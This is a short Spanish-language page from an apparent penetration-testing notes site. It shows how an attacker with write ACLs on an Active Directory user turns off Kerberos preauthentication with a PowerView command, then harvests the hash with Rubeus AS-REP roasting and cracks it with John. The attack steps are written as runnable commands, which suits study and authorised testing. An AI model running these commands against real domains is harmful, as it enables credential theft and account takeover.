> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/kerberos/enable-as-rep-vulnerability-via-acl.md).
# Habilitar la vulnerabilidad AS-REP mediante ACL
### Principio
En algunos casos, un usuario no tiene la `No requiere preautenticación de Kerberos` opción.
Pero si tenemos permisos de escritura sobre este usuario, por ejemplo:
```bash
GenericAll
GenericWrite
WriteAllProperties
```
podemos modificar su atributo `userAccountControl`.
### Ejemplo con `astrid.niki`
El usuario `user1` tiene permiso de escritura en:
```bash
astrid.niki
```
Entonces activamos la `DONT_REQ_PREAUTH` opción con PowerView:
{% code overflow="wrap" %}
```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```
{% endcode %}
### Reiniciar AS-REP Roasting
Después de la modificación, el usuario aparece en los resultados:
{% code overflow="wrap" %}
```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```
{% endcode %}
Entonces crackeamos el hash:
{% code overflow="wrap" %}
```bash
john hash
```
{% endcode %}
---
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